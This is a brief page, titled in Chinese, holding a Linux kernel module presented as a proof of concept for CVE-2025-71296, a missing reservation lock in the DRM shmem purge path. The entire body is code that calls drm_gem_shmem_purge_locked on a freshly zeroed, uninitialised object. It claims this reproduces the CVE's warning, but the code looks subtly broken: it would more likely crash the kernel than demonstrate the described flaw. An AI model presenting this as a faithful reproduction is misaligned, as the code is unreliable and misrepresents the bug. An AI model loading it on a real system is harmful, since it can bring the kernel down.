Linux内核drm/tests shmem锁竞争漏洞

// SPDX-License-Identifier: GPL-2.0 // PoC for CVE-2025-71296: Triggering purge without reservation lock #include <linux/module.h> #include <drm/drm_gem_shmem_helper.h> static int __init poc_init(void) { struct drm_gem_shmem_object *shmem; // Simplified reproduction logic shmem = kzalloc(sizeof(*shmem), GFP_KERNEL); if (!shmem) return -ENOMEM; // Vulnerability: Calling purge without holding reservation lock // This triggers the WARNING mentioned in the CVE drm_gem_shmem_purge_locked(shmem); kfree(shmem); return 0; } static void __exit poc_exit(void) {} module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL");